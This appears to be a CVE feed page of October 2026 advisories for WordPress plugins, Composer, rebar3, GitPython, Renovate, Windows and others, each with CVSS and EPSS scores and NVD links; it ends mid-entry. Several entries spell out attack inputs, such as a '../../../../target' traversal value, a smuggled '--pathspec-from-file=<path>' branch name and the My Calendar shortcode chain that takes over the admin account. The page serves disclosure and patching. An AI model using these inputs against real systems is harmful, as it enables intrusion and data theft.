The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the copy_file function in all versions up to, and including, 4.9.3 This makes it possible for authenticated attackers, with Sales Representative-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable by any user holding the plugin-defined import_contacts capability, which is granted by default to the plugin's custom Sales Representative role.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109221).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109221&date=2026-10-25).
Sources:
NVD CVE-2026-109221: https://nvd.nist.gov/vuln/detail/CVE-2026-109221
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109221&date=2026-10-25
The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the copy_file function in all versions up to, and including, 4.9.3 This makes it possible for authenticated attackers, with Sales Representative-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable by any user holding the plugin-defined import_contacts capability, which is granted by default to the plugin's custom Sales Representative role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in MosaicML Composer up to 0.32.1. This affects the function tarball.extractall of the file composer/utils/checkpoint.py of the component Checkpoint...
https://kevwire.com/record/CVE-2026-109153
A vulnerability was detected in MosaicML Composer up to 0.32.1. This affects the function tarball.extractall of the file composer/utils/checkpoint.py of the component Checkpoint... (Oct 13, 2026).
A vulnerability was detected in MosaicML Composer up to 0.32.1. This affects the function tarball.extractall of the file composer/utils/checkpoint.py of the component Checkpoint Extraction. The manipulation results in path traversal. The attack can be executed remotely. The vendor was contacted early about this disclosure.
CVSS 5.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109153).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109153&date=2026-10-25).
Sources:
NVD CVE-2026-109153: https://nvd.nist.gov/vuln/detail/CVE-2026-109153
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109153&date=2026-10-25
A vulnerability was detected in MosaicML Composer up to 0.32.1. This affects the function tarball.extractall of the file composer/utils/checkpoint.py of the component Checkpoint Extraction. The manipulation results in path traversal. The attack can be executed remotely. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Netcore NR268 1.7.121109. The affected element is the function execvp of the file /router/DDNSset.cgi of the component DDNS.
https://kevwire.com/record/CVE-2026-108929
A flaw has been found in Netcore NR268 1.7.121109. The affected element is the function execvp of the file /router/DDNSset.cgi of the component DDNS. (Oct 12, 2026).
A flaw has been found in Netcore NR268 1.7.121109. The affected element is the function execvp of the file /router/DDNSset.cgi of the component DDNS. Executing a manipulation of the argument Hostname can lead to argument injection. The attack can be launched remotely.
CVSS 9.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108929).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108929&date=2026-10-25).
Sources:
NVD CVE-2026-108929: https://nvd.nist.gov/vuln/detail/CVE-2026-108929
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108929&date=2026-10-25
A flaw has been found in Netcore NR268 1.7.121109. The affected element is the function execvp of the file /router/DDNSset.cgi of the component DDNS. Executing a manipulation of the argument Hostname can lead to argument injection. The attack can be launched remotely.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.11 via the 'id...
https://kevwire.com/record/CVE-2026-107659
The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.11 via the 'id... (Oct 16, 2026).
The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.11 via the 'id (post ID in /wp-json/wp/v2/modula-gallery/{id}) or none for collection route' parameter. This makes it possible for unauthenticated attackers to extract the plaintext Password Protect password and username for every published gallery from the modulaSettings REST field. The plugin's own /wp-json/modula/v2/gallery/{id}/settings endpoint correctly redacts the password for unauthenticated callers via redact_settings_for_public(), but no equivalent redaction is applied on the core /wp-json/wp/v2/modula-gallery path exposed by show_in_rest=true CPT registration.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107659).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107659&date=2026-10-25).
Sources:
NVD CVE-2026-107659: https://nvd.nist.gov/vuln/detail/CVE-2026-107659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107659&date=2026-10-25
The Modula Image Gallery – Photo Grid & Video Gallery plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.11 via the 'id (post ID in /wp-json/wp/v2/modula-gallery/{id}) or none for collection route' parameter. This makes it possible for unauthenticated attackers to extract the plaintext Password Protect password and username for every published gallery from the modulaSettings REST field. The plugin's own /wp-json/modula/v2/gallery/{id}/settings endpoint correctly redacts the password for unauthenticated callers via redact_settings_for_public(), but no equivalent redaction is applied on the core /wp-json/wp/v2/modula-gallery path exposed by show_in_rest=true CPT registration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Protection Mechanism Failure vulnerability in hexpm hex allows the owner of a package, or an attacker who has taken over the owner's account, to get a newly published release past...
https://kevwire.com/record/CVE-2026-105668
Protection Mechanism Failure vulnerability in hexpm hex allows the owner of a package, or an attacker who has taken over the owner's account, to get a newly published release past... (Oct 12, 2026).
Protection Mechanism Failure vulnerability in hexpm hex allows the owner of a package, or an attacker who has taken over the owner's account, to get a newly published release past the release-age cooldown.

The cooldown (cooldown config, HEX_COOLDOWN) withholds versions younger than the configured age during dependency resolution. When the release of a package locked in mix.lock is retired or has a security advisory, Hex.RemoteConverger.build_cooldown_bypass/3 and Hex.RemoteConverger.unsafe_lock_bypass/1 lift the cooldown for every version of that package and of every package the locked release depends on, so that mix deps.update can move off the unsafe release. Retiring a release needs the same package owner permission as publishing one. An attacker who publishes a malicious release can retire the currently locked release, and the next mix deps.update that unlocks the package selects the new release regardless of its age. Hex.Registry.Cooldown.versions/2 checks the bypass by package name alone, so the bypass also covers packages with the same name in other repositories. Cooldown configured through an organization dependency policy is not affected.

This issue affects hex: from 2.5.0 before 2.5.2.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105668).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105668&date=2026-10-25).
Sources:
NVD CVE-2026-105668: https://nvd.nist.gov/vuln/detail/CVE-2026-105668
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105668&date=2026-10-25
Protection Mechanism Failure vulnerability in hexpm hex allows the owner of a package, or an attacker who has taken over the owner's account, to get a newly published release past the release-age cooldown.

The cooldown (cooldown config, HEX_COOLDOWN) withholds versions younger than the configured age during dependency resolution. When the release of a package locked in mix.lock is retired or has a security advisory, Hex.RemoteConverger.build_cooldown_bypass/3 and Hex.RemoteConverger.unsafe_lock_bypass/1 lift the cooldown for every version of that package and of every package the locked release depends on, so that mix deps.update can move off the unsafe release. Retiring a release needs the same package owner permission as publishing one. An attacker who publishes a malicious release can retire the currently locked release, and the next mix deps.update that unlocks the package selects the new release regardless of its age. Hex.Registry.Cooldown.versions/2 checks the bypass by package name alone, so the bypass also covers packages with the same name in other repositories. Cooldown configured through an organization dependency policy is not affected.

This issue affects hex: from 2.5.0 before 2.5.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 has insufficient isolation between servers sharing an install.
https://kevwire.com/record/CVE-2026-105443
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 has insufficient isolation between servers sharing an install. (Oct 13, 2026).
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 has insufficient isolation between servers sharing an install.
CVSS 8.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105443).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105443&date=2026-10-25).
Sources:
NVD CVE-2026-105443: https://nvd.nist.gov/vuln/detail/CVE-2026-105443
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105443&date=2026-10-25
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 has insufficient isolation between servers sharing an install.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.8.7.
https://kevwire.com/record/CVE-2026-104798
The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.8.7. (Oct 16, 2026).
The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.8.7. The public `mcs` GET parameter is reflected into post content unsanitized before WordPress core's `do_shortcode` filter runs, allowing an unauthenticated attacker to inject a nested `[my_calendar above=...]` shortcode; `mc_generate_calendar_nav()` then splits the `above` attribute on commas and dispatches each element via `call_user_func()` with no authentication, authorization, or callable allowlist check. This makes it possible for unauthenticated attackers to invoke arbitrary loaded PHP functions, enabling a call chain in which the shortcode `$params` array is passed to `edit_user()` — which PHP coerces to integer `1` as the `$user_id` argument — overwriting the credentials of the initial Administrator account (user ID 1) and granting the attacker full wp-admin access. Exploitation is trivially reachable via the plugin's auto-generated `/my-calendar/` page, which is publicly accessible by default upon plugin activation.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104798).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104798&date=2026-10-25).
Sources:
NVD CVE-2026-104798: https://nvd.nist.gov/vuln/detail/CVE-2026-104798
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104798&date=2026-10-25
The My Calendar – Accessible Event Manager plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.8.7. The public `mcs` GET parameter is reflected into post content unsanitized before WordPress core's `do_shortcode` filter runs, allowing an unauthenticated attacker to inject a nested `[my_calendar above=...]` shortcode; `mc_generate_calendar_nav()` then splits the `above` attribute on commas and dispatches each element via `call_user_func()` with no authentication, authorization, or callable allowlist check. This makes it possible for unauthenticated attackers to invoke arbitrary loaded PHP functions, enabling a call chain in which the shortcode `$params` array is passed to `edit_user()` — which PHP coerces to integer `1` as the `$user_id` argument — overwriting the credentials of the initial Administrator account (user ID 1) and granting the attacker full wp-admin access. Exploitation is trivially reachable via the plugin's auto-generated `/my-calendar/` page, which is publicly accessible by default upon plugin activation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in erlang rebar3 allows a malicious package publisher to delete a directory outside...
https://kevwire.com/record/CVE-2026-103060
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in erlang rebar3 allows a malicious package publisher to delete a directory outside... (Oct 12, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in erlang rebar3 allows a malicious package publisher to delete a directory outside the project's _build directory and extract package files into it when a developer fetches dependencies.

A package release's dependencies in a Hex registry carry an app field that names the dependency's OTP application. rebar3 uses this field as the dependency's name without validating it (rebar_packages:parse_deps/1) and builds the dependency's directory from that name (rebar_app_utils:dep_to_app/7). rebar_fetch:download_source_online/2 deletes that directory with rm -rf and moves the fetched package into it. hex.pm didn't restrict the field to a directory name before 2026-10-12, so a publisher could set it to a value such as ../../../../target. When a project depends on such a release directly or transitively, rebar3 get-deps deletes the directory the name resolves to and writes the dependency's files there. This happens before the dependency's own rebar.config.script is evaluated, and get-deps compiles nothing.

This issue affects rebar3: from 3.7.0-rc1 before 3.27.2.
CVSS 7.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103060).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103060&date=2026-10-25).
Sources:
NVD CVE-2026-103060: https://nvd.nist.gov/vuln/detail/CVE-2026-103060
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103060&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in erlang rebar3 allows a malicious package publisher to delete a directory outside the project's _build directory and extract package files into it when a developer fetches dependencies.

A package release's dependencies in a Hex registry carry an app field that names the dependency's OTP application. rebar3 uses this field as the dependency's name without validating it (rebar_packages:parse_deps/1) and builds the dependency's directory from that name (rebar_app_utils:dep_to_app/7). rebar_fetch:download_source_online/2 deletes that directory with rm -rf and moves the fetched package into it. hex.pm didn't restrict the field to a directory name before 2026-10-12, so a publisher could set it to a value such as ../../../../target. When a project depends on such a release directly or transitively, rebar3 get-deps deletes the directory the name resolves to and writes the dependency's files there. This happens before the dependency's own rebar.config.script is evaluated, and get-deps compiles nothing.

This issue affects rebar3: from 3.7.0-rc1 before 3.27.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An incorrect permission assignment for critical resource issue exists in AssetView, AssetView CLOUD, and AssetView Cloud +.
https://kevwire.com/record/CVE-2026-101020
An incorrect permission assignment for critical resource issue exists in AssetView, AssetView CLOUD, and AssetView Cloud +. (Oct 13, 2026).
An incorrect permission assignment for critical resource issue exists in AssetView, AssetView CLOUD, and AssetView Cloud +. If this vulnerability is exploited, a local authenticated attacker who can log in to the Windows system where Management Console or Client Terminal for the product is running may gain SYSTEM privileges.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101020).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101020&date=2026-10-25).
Sources:
NVD CVE-2026-101020: https://nvd.nist.gov/vuln/detail/CVE-2026-101020
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101020&date=2026-10-25
An incorrect permission assignment for critical resource issue exists in AssetView, AssetView CLOUD, and AssetView Cloud +. If this vulnerability is exploited, a local authenticated attacker who can log in to the Windows system where Management Console or Client Terminal for the product is running may gain SYSTEM privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kin-openapi is a Go project for handling OpenAPI files.
https://kevwire.com/record/CVE-2026-100349
kin-openapi is a Go project for handling OpenAPI files. (Oct 15, 2026).
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.146.0, openapi3filter.ValidateResponse passes a nil response header schema to decodeValue when an OpenAPI document declares the header with content instead of schema. The document passes validation, but every response validation for the affected operation dereferences the nil schema and panics even when the response does not contain the declared header. Applications that ingest an untrusted specification can expose this as remote availability impact, while applications using only trusted local specifications still crash when the affected operation is exercised. This issue is fixed in version 0.146.0.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100349).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100349&date=2026-10-25).
Sources:
NVD CVE-2026-100349: https://nvd.nist.gov/vuln/detail/CVE-2026-100349
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100349&date=2026-10-25
kin-openapi is a Go project for handling OpenAPI files. Prior to 0.146.0, openapi3filter.ValidateResponse passes a nil response header schema to decodeValue when an OpenAPI document declares the header with content instead of schema. The document passes validation, but every response validation for the affected operation dereferences the nil schema and panics even when the response does not contain the declared header. Applications that ingest an untrusted specification can expose this as remote availability impact, while applications using only trusted local specifications still crash when the affected operation is exercised. This issue is fixed in version 0.146.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-85334
Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85334).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85334&date=2026-10-25).
Sources:
NVD CVE-2026-85334: https://nvd.nist.gov/vuln/detail/CVE-2026-85334
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85334
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85334&date=2026-10-25
Out-of-bounds read in Windows Message Queuing Queue Manager allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Performance Monitor allows an authorized attacker to elevate privileges...
https://kevwire.com/record/CVE-2026-85333
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Performance Monitor allows an authorized attacker to elevate privileges... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.
CVSS 6.7 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85333).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85333&date=2026-10-25).
Sources:
NVD CVE-2026-85333: https://nvd.nist.gov/vuln/detail/CVE-2026-85333
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85333
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85333&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Parse Server before 8.6.97 and 9.0.0 before 9.10.2-alpha.6 does not handle errors raised while sending verification or password reset emails, causing the server process to exit.
https://kevwire.com/record/CVE-2026-110854
Parse Server before 8.6.97 and 9.0.0 before 9.10.2-alpha.6 does not handle errors raised while sending verification or password reset emails, causing the server process to exit. (Oct 14, 2026).
Parse Server before 8.6.97 and 9.0.0 before 9.10.2-alpha.6 does not handle errors raised while sending verification or password reset emails, causing the server process to exit. A client holding only the public application keys can sign up, request a verification email, or request a password reset while the mail provider rejects, rate limits, or is unavailable, crashing the server.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110854).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110854&date=2026-10-25).
Sources:
NVD CVE-2026-110854: https://nvd.nist.gov/vuln/detail/CVE-2026-110854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110854&date=2026-10-25
Parse Server before 8.6.97 and 9.0.0 before 9.10.2-alpha.6 does not handle errors raised while sending verification or password reset emails, causing the server process to exit. A client holding only the public application keys can sign up, request a verification email, or request a password reset while the mail provider rejects, rate limits, or is unavailable, crashing the server.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitPython before 3.2.0 contains an information disclosure vulnerability that allows malicious repositories to expand environment variables via separate_git_dir in Repo._clone(),...
https://kevwire.com/record/CVE-2026-110855
GitPython before 3.2.0 contains an information disclosure vulnerability that allows malicious repositories to expand environment variables via separate_git_dir in Repo._clone(),... (Oct 14, 2026).
GitPython before 3.2.0 contains an information disclosure vulnerability that allows malicious repositories to expand environment variables via separate_git_dir in Repo._clone(), which omits expand_vars=False when calling Git.polish_url(). Attackers can craft a .gitmodules submodule name containing variable syntax so that clone plus submodule_update exposes secrets in .git/modules directory names and DEBUG logs.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110855).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110855&date=2026-10-25).
Sources:
NVD CVE-2026-110855: https://nvd.nist.gov/vuln/detail/CVE-2026-110855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110855&date=2026-10-25
GitPython before 3.2.0 contains an information disclosure vulnerability that allows malicious repositories to expand environment variables via separate_git_dir in Repo._clone(), which omits expand_vars=False when calling Git.polish_url(). Attackers can craft a .gitmodules submodule name containing variable syntax so that clone plus submodule_update exposes secrets in .git/modules directory names and DEBUG logs.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitPython before 3.2.0 contains an argument injection vulnerability in Head.checkout() that allows remote attackers to read arbitrary files by supplying a branch name parsed as a...
https://kevwire.com/record/CVE-2026-110859
GitPython before 3.2.0 contains an argument injection vulnerability in Head.checkout() that allows remote attackers to read arbitrary files by supplying a branch name parsed as a... (Oct 14, 2026).
GitPython before 3.2.0 contains an argument injection vulnerability in Head.checkout() that allows remote attackers to read arbitrary files by supplying a branch name parsed as a git option. Attackers can host a repository whose default branch is named --pathspec-from-file=<path>, causing cloning applications that check out the active branch to leak file contents through GitCommandError messages.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110859).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110859&date=2026-10-25).
Sources:
NVD CVE-2026-110859: https://nvd.nist.gov/vuln/detail/CVE-2026-110859
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110859&date=2026-10-25
GitPython before 3.2.0 contains an argument injection vulnerability in Head.checkout() that allows remote attackers to read arbitrary files by supplying a branch name parsed as a git option. Attackers can host a repository whose default branch is named --pathspec-from-file=<path>, causing cloning applications that check out the active branch to leak file contents through GitCommandError messages.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repositories to set restricted environment variables by placing env inside a shared preset.
https://kevwire.com/record/CVE-2026-110867
Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repositories to set restricted environment variables by placing env inside a shared preset. (Oct 14, 2026).
Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repositories to set restricted environment variables by placing env inside a shared preset. Attackers controlling an externally sourced preset can override variables like PATH, LD_PRELOAD, NODE_OPTIONS, or GIT_SSL_CAINFO in child processes on self-hosted instances.
CVSS 9.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110867).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110867&date=2026-10-25).
Sources:
NVD CVE-2026-110867: https://nvd.nist.gov/vuln/detail/CVE-2026-110867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110867&date=2026-10-25
Renovate before 44.60.1 contains an allowlist bypass vulnerability that allows repositories to set restricted environment variables by placing env inside a shared preset. Attackers controlling an externally sourced preset can override variables like PATH, LD_PRELOAD, NODE_OPTIONS, or GIT_SSL_CAINFO in child processes on self-hosted instances.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping...
https://kevwire.com/record/CVE-2026-110869
Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping... (Oct 14, 2026).
